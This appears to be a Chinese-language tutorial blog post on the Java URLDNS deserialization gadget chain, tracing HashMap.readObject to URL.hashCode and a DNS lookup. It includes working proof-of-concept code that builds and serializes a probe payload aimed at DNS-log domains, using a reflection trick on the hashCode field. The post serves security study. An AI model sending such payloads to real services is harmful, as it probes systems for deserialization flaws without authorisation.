参考资料:白日梦组长
思路分析

入口类:HashMap
HashMap.readObject()

为什么能成为入口类:
1.继承Serializable接口
2.重写readObject方法,调用一个常见函数
3.最好接受的传参范围广,jdk自带
链分析
HashMap.readObject() 中 调用hash(key)

调用key.hashCode()

key可控,如果key为URL类,即可调用URL类的hashcode方法

接着调用
URLStreamHandler类中的hashcode方法

成功走到执行方法getHostAddress(),触发dns解析
代码实现
package org.example;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://bhdaguemdy.zaza.eu.org");
HashMap<URL, String> urlStringHashMap = new HashMap<URL, String>();
urlStringHashMap.put(url, "1");
}
}
发现问题,在没有反序列化时就已经触发dns
点put进去看,发现在put传值进去时也会调用hash(key)

一方面影响对于是否有漏洞的判断,另一方面一开始hashCode默认为-1,当执行完put方法后,hashCode已经为计算后的值,不为-1,之后反序列化将不会再执行hashCode方法

解决办法:
在put之前反射改变hashCode的值不为-1
在put之后改变hashCode的值为-1
再进行序列化
获取Class,在改值,比较简单
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("http://pkayeuhzml.yutu.eu.org");
HashMap<URL, String> urlStringHashMap = new HashMap<URL, String>();
//修改hashCode值不为-1
Class<? extends URL> aClass = url.getClass();
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
urlStringHashMap.put(url, "1");
//改回-1,使得反序列化时执行
hashCode.set(url,-1);
serialize(urlStringHashMap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}

顺带贴一个反序列化的类
package org.example;
import java.io.*;
public class Unserializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Object o = UnSerializableTest("ser.bin");
System.out.println(o);
}
public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}
}
总结
其实就一步
入口类 A.readObject() 接受可控变量 o
A.readObject() => o.f()
(当传入o为B类时)
=> B.f()
评论(已关闭)
评论已关闭